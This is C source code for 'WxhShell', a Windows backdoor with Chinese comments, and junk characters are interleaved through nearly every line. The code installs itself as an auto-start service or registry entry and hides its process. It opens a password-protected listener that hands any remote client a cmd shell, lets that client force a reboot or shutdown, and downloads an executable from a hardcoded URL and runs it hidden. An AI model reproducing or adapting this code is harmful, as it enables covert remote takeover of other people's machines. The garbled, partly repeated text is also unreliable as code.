[cS PROCESS_BASIC_INFORMATION pbi; }+[!h=Bx Y<@_d HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l:#'i`; if(NULL == hInst ) return 0; slr>6o%W` 0}kvuuR g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3_eg'EP.E g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f
e^s`dsG NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b*nI0/cbR. K6~')9Q if (!NtQueryInformationProcess) return 0; DEfhR?v R
iLqMSq hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xAn|OSe if(!hProcess) return 0; ~7\`qH @k:@mzB7R if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &Dp& 9]{Ss$W3x CloseHandle(hProcess); t[ b(erO' B(-F|q\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fl_a@QdB# if(hProcess==NULL) return 0; 'P&r^V\~(/ mII8jyg*c HMODULE hMod; (YmIui> char procName[255]; vL "noLs unsigned long cbNeeded; <`A!9+ 98{n6$\ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j_zy"8Y{ 73nmDZO| CloseHandle(hProcess); 6p,}?6^ Fk`6
q if(strstr(procName,"services")) return 1; // 以服务启动 0 R&7vn 3`"k1W return 0; // 注册表启动 hGUQdTNP } un,W{*s8* R3BK\kf& // 主模块 1_n5: int StartWxhshell(LPSTR lpCmdLine) Z3Xgi~c { N71^ I"@HH SOCKET wsl; $7Lcn9?G BOOL val=TRUE; B,4GxoX` int port=0; FQMA0"(G$ struct sockaddr_in door; lcoJ1+`C "KY]2v. if(wscfg.ws_autoins) Install(); bG)6p05Oa <(~geN port=atoi(lpCmdLine); bXHtw}n K~8!Gh{h] if(port<=0) port=wscfg.ws_port; .d4&s7n0 ]b^bc2: WSADATA data; `
-<S13 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z`8>$9 V F"c} if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #Pq6q.UB setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <|a9r: [ door.sin_family = AF_INET; 2l8z/o 7v door.sin_addr.s_addr = inet_addr("127.0.0.1"); i}5+\t[Q door.sin_port = htons(port); wS:`c
J F2=#\U$ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QVN@B[9 closesocket(wsl); 8O*O5 return 1; 6
)Qe*S } dSzq}w4xY k0DX|O8mXV if(listen(wsl,2) == INVALID_SOCKET) { OadGwa\:s closesocket(wsl); QVR-`d/ return 1; >P ygUY
d } UWBR5 Wxhshell(wsl); ). HnK WSACleanup(); a'\fS7aE0l 072`i46 return 0; ?kc,}/4 Fz_8m4 } m] IN-' xx%*85 < // 以NT服务方式启动 gf|&u4D VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5kj=Y]9\I { {E>(%vD DWORD status = 0; ;cWFh4_ DWORD specificError = 0xfffffff; p:|p? of.=n serviceStatus.dwServiceType = SERVICE_WIN32; }j#c#''i serviceStatus.dwCurrentState = SERVICE_START_PENDING; qI gb;=V serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UrB{jS? serviceStatus.dwWin32ExitCode = 0; 5CM]-qbf@ serviceStatus.dwServiceSpecificExitCode = 0; Cx`?}A\% serviceStatus.dwCheckPoint = 0; &eX^ll serviceStatus.dwWaitHint = 0; }Q>??~mVl 3ry0. hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [UaM}-eR if (hServiceStatusHandle==0) return; ^(yU)k3pu mINir- status = GetLastError(); 9=MxuBl if (status!=NO_ERROR) e5cvmUF_W { y8O<_VOO}" serviceStatus.dwCurrentState = SERVICE_STOPPED; a 1pa#WC serviceStatus.dwCheckPoint = 0; }Xy<F?Mh serviceStatus.dwWaitHint = 0; EXbhyg serviceStatus.dwWin32ExitCode = status; q^kOyA. serviceStatus.dwServiceSpecificExitCode = specificError; km!jxs SetServiceStatus(hServiceStatusHandle, &serviceStatus); kR(hUc1O return; 9xUAfU } Sc$]ar]S p%y|w serviceStatus.dwCurrentState = SERVICE_RUNNING; Tk0Senq, serviceStatus.dwCheckPoint = 0; r}])V[V serviceStatus.dwWaitHint = 0; Z6r_T if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cH\.-5NQ } |=4imM7 `Jon^&^;| // 处理NT服务事件,比如:启动、停止 2UjQ!g` VOID WINAPI NTServiceHandler(DWORD fdwControl) Z&0*\.6S~ { I)X33X, switch(fdwControl) 1C\[n(9 { <al/>7z'
O case SERVICE_CONTROL_STOP: FFqqAT5 serviceStatus.dwWin32ExitCode = 0; \*$''`b)j serviceStatus.dwCurrentState = SERVICE_STOPPED; #+Cu&l serviceStatus.dwCheckPoint = 0; ,Tc598D serviceStatus.dwWaitHint = 0; XQL]I$? { Q68q76 SetServiceStatus(hServiceStatusHandle, &serviceStatus); !XS ;&s7[* } N;]"_" return; `+Ojh>"*z* case SERVICE_CONTROL_PAUSE: AE 2>smp5@ serviceStatus.dwCurrentState = SERVICE_PAUSED; &8uq5uKg break; *J] }bX case SERVICE_CONTROL_CONTINUE: '\.fG\xD serviceStatus.dwCurrentState = SERVICE_RUNNING; (
RCQbI break; 72 >/@ case SERVICE_CONTROL_INTERROGATE:
^iaG>rvA break; 3 ]}wZY0 }; }
^67HtNQ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zb=H\#T } pElAY3 OfGMeN6 // 标准应用程序主函数 Y5Jrkr)k int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \>*B { ril4*$e7^\ zDO`w0N // 获取操作系统版本 Wr Nm:N OsIsNt=GetOsVer(); +\n8##oAI GetModuleFileName(NULL,ExeFile,MAX_PATH); V8.o}BWY 8(c,b // 从命令行安装 Mm+kG'Z!S if(strpbrk(lpCmdLine,"iI")) Install(); VdV18-ea >|22%YVX // 下载执行文件 48 `k"Uy if(wscfg.ws_downexe) { 6{p]cr if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c31k%/. WinExec(wscfg.ws_filenam,SW_HIDE); +
\AiUY } }?jL;CCe @NS= if(!OsIsNt) { 8Yq_6 // 如果时win9x,隐藏进程并且设置为注册表启动 o3~ecJ?k HideProc(); ..xg4V/ StartWxhshell(lpCmdLine); &k4)&LQJ } =N%;HfUD else ?tLBEoUmKT if(StartFromService()) 5&\% // 以服务方式启动 Oy^)lF/ StartServiceCtrlDispatcher(DispatchTable); ,f;YJHEx8 else :Ojsj_Z;; // 普通方式启动 xG^6'< StartWxhshell(lpCmdLine); DPE]<oM pO.+hy return 0; s*k[Fbi } 3"Y
|RSy N>S_Vgk} nDvj*lZF q;p:)Q" =========================================== [80L|?, * P<@V 7]w]i5 D`2c61jyc |Y6+Y{|\ * 0GR
}k " VYb6#sl W9ZfD~(3- #include <stdio.h> oyS43/." #include <string.h> G/:;Qig #include <windows.h> :eIu<_,} #include <winsock2.h> (c<MyuWb #include <winsvc.h> e==}qQ #include <urlmon.h> }&Gt&Hm>K al9L+ruR #pragma comment (lib, "Ws2_32.lib") #R<ErX)F #pragma comment (lib, "urlmon.lib") 478gl
o -c"nx$ #define MAX_USER 100 // 最大客户端连接数 E{m\LUd^
: #define BUF_SOCK 200 // sock buffer 1d4?+[)gUv #define KEY_BUFF 255 // 输入 buffer ]D@_cxud3 8%qHy1 #define REBOOT 0 // 重启 y3 vDKZ #define SHUTDOWN 1 // 关机 +O 2H":$ 9#CE m &c #define DEF_PORT 5000 // 监听端口 t7"vAjZU Uk=-A
@q #define REG_LEN 16 // 注册表键长度 f,'gQ5\ X3 #define SVC_LEN 80 // NT服务名长度 bcp+7b(IB 1 Z5:DE< // 从dll定义API [J'O5"T typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hP1H/=~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x4&<Vr typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =@F1J7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?=X G#we XN@F6Gj // wxhshell配置信息 xWv@PqXD struct WSCFG { nwOT%@nw int ws_port; // 监听端口 Lc<v4Bp char ws_passstr[REG_LEN]; // 口令 @pcmVsIp int ws_autoins; // 安装标记, 1=yes 0=no |2#)lGA char ws_regname[REG_LEN]; // 注册表键名 L{py\4z'_ char ws_svcname[REG_LEN]; // 服务名 U,?[x2LF char ws_svcdisp[SVC_LEN]; // 服务显示名 &&/2oP+z char ws_svcdesc[SVC_LEN]; // 服务描述信息 @j/UDM char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :`~;~gW< int ws_downexe; // 下载执行标记, 1=yes 0=no k?%?EsR char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Bg"KNg char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bG`aF*10)! dWhki|c }; 9"5J-a' {s8v0~ // default Wxhshell configuration uAd4Zz struct WSCFG wscfg={DEF_PORT, z@Klj qN "xuhuanlingzhe", \>b
: 1, _sEkKh8x "Wxhshell", >l & N "Wxhshell", ?U\@?@ "WxhShell Service", AATiI+\S "Wrsky Windows CmdShell Service", ,i>{yrsOh "Please Input Your Password: ", @+OX1-dd/w 1, noali96J "http://www.wrsky.com/wxhshell.exe", O_yk< "Wxhshell.exe" q97Z .o }; ;<j[0~qp: ?Vy%<f$ // 消息定义模块 lV4|(NQ9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z2HH&3HA char *msg_ws_prompt="\n\r? for help\n\r#>"; `Ap<xT0H char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MN wMF char *msg_ws_ext="\n\rExit."; }YiE}+VW| char *msg_ws_end="\n\rQuit."; @WmEcX| char *msg_ws_boot="\n\rReboot..."; s4RqY*VK char *msg_ws_poff="\n\rShutdown..."; %r1NRg8 char *msg_ws_down="\n\rSave to "; u0&QStI |\PI"rW char *msg_ws_err="\n\rErr!"; 381a(F[$e char *msg_ws_ok="\n\rOK!"; Ev
adY P;.j5P^j` char ExeFile[MAX_PATH]; qD@]FEw!O int nUser = 0; ;'E1yzX^ HANDLE handles[MAX_USER]; #le1
^
<w7 int OsIsNt; LHQ$0LVt>T !'y9/ SERVICE_STATUS serviceStatus; v}vwk8 SERVICE_STATUS_HANDLE hServiceStatusHandle; avJ%J"j8z it
Byw1/ // 函数声明 }@Ap_xW int Install(void); Oz3JMZe int Uninstall(void); ~F gxhK2+ int DownloadFile(char *sURL, SOCKET wsh); ?Xdb%. int Boot(int flag); X+0+}S void HideProc(void); re]e4lZ int GetOsVer(void); _>b=f int Wxhshell(SOCKET wsl); S!'Y:AeD& void TalkWithClient(void *cs); V 6DWYs> int CmdShell(SOCKET sock); Bri yy int StartFromService(void); Pdq}~um3{ int StartWxhshell(LPSTR lpCmdLine); /2%646 })v`` + VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )=~OP>7B VOID WINAPI NTServiceHandler( DWORD fdwControl ); NNOemTh rKhhx // 数据结构和表定义 0|a ,bwZ SERVICE_TABLE_ENTRY DispatchTable[] = E79'<;K,zs { Z1 7=g@ {wscfg.ws_svcname, NTServiceMain}, =tk O^ {NULL, NULL} QD2;JI2 }; cdBD.sg 3}Xf // 自我安装 y\?T%g int Install(void) /AT2<w { l2Gtw*i_I char svExeFile[MAX_PATH]; $(3mpQAg HKEY key; |n*nByL/ strcpy(svExeFile,ExeFile); U*p;N,SjQ aEL^N0\d // 如果是win9x系统,修改注册表设为自启动 `(2Y%L(r if(!OsIsNt) { -~Ll;}nZC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]AB<OjF1c| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |\#~ RegCloseKey(key); jpGZ&L7i& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _Se0,Uns RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C\3;o] RegCloseKey(key); &U.U< return 0; |TQ#[9C0 } ]
I&l0Fx } })V^t3 } 4r+@7hnK else { e&R?9z-* S)?V;@p6 // 如果是NT以上系统,安装为系统服务 G!G]*p5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IonphTcU! if (schSCManager!=0) #YiphR& { 51sn+h<w SC_HANDLE schService = CreateService k_o$ Ci ( Ie z`g<r schSCManager, H(A9YxXrZ5 wscfg.ws_svcname, m@,u&9K wscfg.ws_svcdisp, ;4MC/Q/ SERVICE_ALL_ACCESS, V_x8
Q+~? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3i*HwEh SERVICE_AUTO_START, c:d.mkF\ SERVICE_ERROR_NORMAL, P]~apMi: svExeFile, `X8wnD NULL, d-rqZn} NULL, M ^89]woC NULL, M:5K4$>Kx NULL, ?@>PKUv{ NULL b] 5i` ); VUneCt% if (schService!=0) 'vP"&lrn { _9pcHhJux CloseServiceHandle(schService); >z"\l
CloseServiceHandle(schSCManager); I(5sKU3< strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B7 #O>a strcat(svExeFile,wscfg.ws_svcname); +jPJv[W if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WA?We7m$ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kMz*10$gn RegCloseKey(key); -$A
>b8 return 0; p0|PVn.^h } _w.H]`C!X } )w_hbU_Pb& CloseServiceHandle(schSCManager); A!:R1tTR;S } y),yks?iv } >53Hqzm&
;"9$LHH* return 1; nu6p{_M } v;WfcpWq2 {hH8+4c7 // 自我卸载 B>kVJK`X int Uninstall(void) 8
U<$u,WS { \dHdL\f HKEY key; sJ>JHv =mp"=% if(!OsIsNt) { 6N#0D2~^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uBUT84i RegDeleteValue(key,wscfg.ws_regname); v[b|J7k RegCloseKey(key); i"h~QEE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o'KBe%@/ RegDeleteValue(key,wscfg.ws_regname); nw RegCloseKey(key); sPP(>y( \ return 0; i6FviZx } W%-` }
oB8LJZ; } c $n`=NI else { ?X'l&k> NtDxwzj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dsG:DS`q if (schSCManager!=0) wZs jbNf`K { ZWb\^N SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <ht^Ck if (schService!=0) -d]v6q'1 { 0 /)OAw"m if(DeleteService(schService)!=0) { 9$WA<1PK+ CloseServiceHandle(schService); m:W+s4!E CloseServiceHandle(schSCManager); ?58*#'r return 0; [NU@A >H } ,opS)C$ CloseServiceHandle(schService); rNl%I@G } ]^6r7nfR6| CloseServiceHandle(schSCManager); %%{f-\-7Ig } G2s2i2&6E } 6[3>[ej:x j\\uW)ibG return 1; g?gF*^_0 } C>* 1f|< Blox~=cW // 从指定url下载文件 Q-} cB int DownloadFile(char *sURL, SOCKET wsh) x4CSUcKb { vduh5. HRESULT hr; b\Mb6s char seps[]= "/"; /ptG char *token; xxZO{_q char *file; XNr8,[c char myURL[MAX_PATH]; 9`Y\`F#}q char myFILE[MAX_PATH]; IWT
-)+ G4,.kK strcpy(myURL,sURL); AmX ~KK token=strtok(myURL,seps); M=sGPPj while(token!=NULL)
(2dkmn { THcX.%ToT file=token; B42qiV2/k token=strtok(NULL,seps); P0l.sVqL } m~`f0 4Jk[X>I~ GetCurrentDirectory(MAX_PATH,myFILE); o<L=l Q strcat(myFILE, "\\"); KS R'X0' strcat(myFILE, file); axM(3k.n send(wsh,myFILE,strlen(myFILE),0); b" kL)DL1L send(wsh,"...",3,0); z]R% A:6K hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *@fVog r^ if(hr==S_OK) Q[&CtM
return 0; n*m"yp else i{}Q5iy return 1; T1A/>\Ns Gxw>.O){ } 4p&YhV7j)o t]XF*fZH // 系统电源模块 |HQFqa< int Boot(int flag) nyx(0 { blmY=/] HANDLE hToken; yhxZ^(I TOKEN_PRIVILEGES tkp; [-hsG E @ 5V3I^ if(OsIsNt) { cdv0:+[P OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "rcV?5?v~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Jyyr'1/<k tkp.PrivilegeCount = 1; 0GcOI} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?1]h5Uh[b AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .tzQ
hd> if(flag==REBOOT) { _{mG\*q if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d$PQb9Q+f return 0; Df}3^J~JX } "[2D&\$ else { s>a(#6Q if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t}2M8ue(& return 0; r~; TId} # } 3
Bn9Ce= } uE&2M>2 else { Ta)6ly7' if(flag==REBOOT) { |K'7BK_^J if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7KZ>x*o return 0; `m\l#r2C } N3|aNQ=X0 else { X~rHNRIU if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )WbE -m return 0; otJHcGv } 1zIrU6H2;_ } Ya
~lPc FfibR\dhY return 1; ~uw eBp~O } Z]k+dJ[- vU!<-T# // win9x进程隐藏模块 iYl{V']A void HideProc(void) (lLCAmK5? { 2VgVn,c {3N5Fi7S HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FSyeDC^@ if ( hKernel != NULL ) QUi=ZD1 { jHM}({)- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1w|u
^[~u\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z{G@t0q FreeLibrary(hKernel); G-G\l?R( } Wfj*)j
Q 3R[,,WAj$ return; H
JjW } (!dwUB TuMD+^x // 获取操作系统版本 ka[%p, H int GetOsVer(void) @^K_>s9B { C:P.+AU"` OSVERSIONINFO winfo; V1\x.0Fs winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X{;3gN GetVersionEx(&winfo); (0QYX[(r~o if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nCSXvd/ return 1; }OLBEhGs else XFcIBWS return 0; k+As#7V } tzSg`7H! -%g{{'9B // 客户端句柄模块 & <Jvaf_= int Wxhshell(SOCKET wsl) "jAEZ { #{Gojg`5O SOCKET wsh; Y)9]I6n7 struct sockaddr_in client;
QTuj v<| DWORD myID; m|cT)- = ms
o1 while(nUser<MAX_USER)
-TKQfd { ~0ZLaiJ int nSize=sizeof(client); 6)Dp2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '/K-i.8F if(wsh==INVALID_SOCKET) return 1; Tz 2<# pLR m~l[Y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y3)R:h4AH if(handles[nUser]==0) e!|T Tap closesocket(wsh); uY*|bD`6& else cT,5xp"a nUser++; Odj4) } ]QK@zb}x WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9lCZi? 1
Ll<^P return 0; zFGZ;?i } SBqx_4} *<T,Fyc| // 关闭 socket \`,,r_tO void CloseIt(SOCKET wsh) 'UL"yM { O(Vi/r2:e closesocket(wsh); S!wY6z nUser--; *WX,bN6Ot ExitThread(0); SPU_@ Pk } aBx8wl*Vm w`F4.e // 客户端请求句柄 $ h<l void TalkWithClient(void *cs) x1nqhSaD { c=A)_ZFg z4[S02s SOCKET wsh=(SOCKET)cs; fxL0"Ry char pwd[SVC_LEN]; p?+*R@O char cmd[KEY_BUFF]; lTJ1]7) char chr[1]; 5tT-[mQ* int i,j; agQzA/Xt 0L"CM?C while (nUser < MAX_USER) { j!q5 Bc? ZHUAM59bx if(wscfg.ws_passstr) { DnvJx!#R if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :a`m9s 4 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3iwZUqyq //ZeroMemory(pwd,KEY_BUFF); <ZEll[0L i=0; ru
Lcu] while(i<SVC_LEN) { *?\Nioii gE#,QOy // 设置超时 <taW6=;c fd_set FdRead; YTA&G struct timeval TimeOut; "Y6mM_flq FD_ZERO(&FdRead); dDn:^) FD_SET(wsh,&FdRead); 4G2V{(@QiZ TimeOut.tv_sec=8; \v_(* TimeOut.tv_usec=0; A5\S0l$Q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
su$juI{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W@Wh@eSb; 6OUjc if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); irS62Xe pwd=chr[0]; [0emOS if(chr[0]==0xd || chr[0]==0xa) { 75ob1h" pwd=0; 1:8: yFV break; 9IMcp~zX } X88ZdM' i++; )kUw,F=6 } =lnz5H wXnt3)e // 如果是非法用户,关闭 socket ^W*/!q7H if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N:.bnF( } !h~\YE) {,ljIhc, send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XhiC'.B_ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kzT' *G4; while(1) { 0v?,:]A0E >F
v8 - ZeroMemory(cmd,KEY_BUFF); 7+bzCDKU .nN7*))Fj // 自动支持客户端 telnet标准 OWzIea@ j=0; 82<!b]^1 while(j<KEY_BUFF) { pY@+.V`a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;f?bb*1 cmd[j]=chr[0]; kaLRI|hC if(chr[0]==0xa || chr[0]==0xd) { L.'N'-BV cmd[j]=0; l/5/|UE9
break; Yv)/DsSyL } Et(prmH j++; P:+:Cm< } Syb:i(Y iGIaZ!j aW // 下载文件 SF7Kb `>Y if(strstr(cmd,"http://")) { 622).N4 send(wsh,msg_ws_down,strlen(msg_ws_down),0); pWqahrWh if(DownloadFile(cmd,wsh)) SzDi=lY send(wsh,msg_ws_err,strlen(msg_ws_err),0); !ibp/:x else e;$s{CNo send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xnTky1zq } $uqlJG#` else { N'StT$( (~#9KA1A} switch(cmd[0]) { FVHL;J]nf1 _\6-] // 帮助 R;%iu0 case '?': { 9/Ls3U? send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R?(j#bk break; GUxhCoxb } 6ZE]7~X // 安装 Nb6HM~ case 'i': { W*0KAC`m if(Install()) {!w]t?h send(wsh,msg_ws_err,strlen(msg_ws_err),0); l6~eb=u;9g else p5*Y&aKj send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ok@5`?08 break; R*U>T$ } RK,~mXA // 卸载 F{[Q case 'r': { 8[k-8h| if(Uninstall()) Gs%kqD{= send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pz?O_@Ln else #S"=)BZ8L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PrCq
JY break; pd|s7 } l!b#v` // 显示 wxhshell 所在路径 JkKI/5h case 'p': { nm)F tX|A char svExeFile[MAX_PATH]; CAX U
# strcpy(svExeFile,"\n\r"); Bn.8wMB strcat(svExeFile,ExeFile); /1Eg6hf9B send(wsh,svExeFile,strlen(svExeFile),0); 8WvT0q>] break; @!S5FOXipZ } ~Oq(JM
$M // 重启 '&`Zy pq case 'b': { K
\O,AE send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 09Fr1PL if(Boot(REBOOT)) |Bjb send(wsh,msg_ws_err,strlen(msg_ws_err),0); yk=H@`~! else { j/sZ:Q closesocket(wsh); qU"+0t4 ExitThread(0); "m!Cl-+u } M8h9i2 break; c9Cp!.#*E } &0
@2JS/! // 关机 I*X|pRD case 'd': { +2vcUy send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +iXA|L9= if(Boot(SHUTDOWN)) 5yry$w$G) send(wsh,msg_ws_err,strlen(msg_ws_err),0); <+6)E@Y else { "G<^@v9 closesocket(wsh); ^P[-HA| ExitThread(0); &ha39&I } UW\.!TV break; :S.0e } L"IdD5`7T // 获取shell rn(T
Z} case 's': { [u<1DR CmdShell(wsh); s>kzt1,x closesocket(wsh); v8LKv`I's ExitThread(0); )0NA*<Q+. break; us/x.qPy2 } s)}C&T$Y. // 退出 $ED<:[3N case 'x': { 3N;X|pa send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _ W$4Qn+f CloseIt(wsh); "Li"NxObCA break; -Z @cj } ]g:VvTJ;? // 离开 -gzk,ymp case 'q': { . uhP( send(wsh,msg_ws_end,strlen(msg_ws_end),0); n#4Ra+dD closesocket(wsh); +~7@K{6q- WSACleanup(); _KKG^
u< exit(1); y0Ag px break; K(hqDif*6 } R#oXQaBJ } Nl1&na)K} } P!:D2zSH_ =>4,/g3 // 提示信息 'peFT[1>( if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5)0R: } >I+O@ } ZMbv1*Vt 3^8%/5$v return; CT/`Kg_ } P>:"\I[ cd\0 // shell模块句柄 @;pTQ
5
I int CmdShell(SOCKET sock) S/8xo@vct] { }E*#VA0/nY STARTUPINFO si; wL~
dZ!,J ZeroMemory(&si,sizeof(si)); GQq2;%RrF si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lE /" si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Qd$d*mwg: PROCESS_INFORMATION ProcessInfo; PX+$Us char cmdline[]="cmd"; z1s9[5 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x#U?~6.6 return 0; WG9x_X&XJ } zDC-PHFHQ rqifjsv // 自身启动模式 s<n5^Vxy int StartFromService(void) [5>0om5 { e)O6k7U$ typedef struct ^ygN/a>rr { eQA89 :j, DWORD ExitStatus; xCGvLvFn DWORD PebBaseAddress; k}~|jLu@g DWORD AffinityMask; p^NYJV DWORD BasePriority; #VtlXr>G ULONG UniqueProcessId; ?NJ\l5' ULONG InheritedFromUniqueProcessId; bq]af.o* } PROCESS_BASIC_INFORMATION;
R:-^,/1 0Bb amU PROCNTQSIP NtQueryInformationProcess; N_h)L` H+ t^eg88 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "|(+~8[ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n hS=t8H |K7JU^"OQ HANDLE hProcess; d.sxB}_O PROCESS_BASIC_INFORMATION pbi; C}%g(YRhb ^~?VD HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jva&"}Cb if(NULL == hInst ) return 0; [Cvo^cC hK3?m.>"g g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \ c9EE- g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [T.kwQf4$ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D>PB|rS@ xrS;06$ if (!NtQueryInformationProcess) return 0; 58{6k J@ [{L4~(uU8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %3|0_ if(!hProcess) return 0; (Jy7 P'R!"
# if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7C
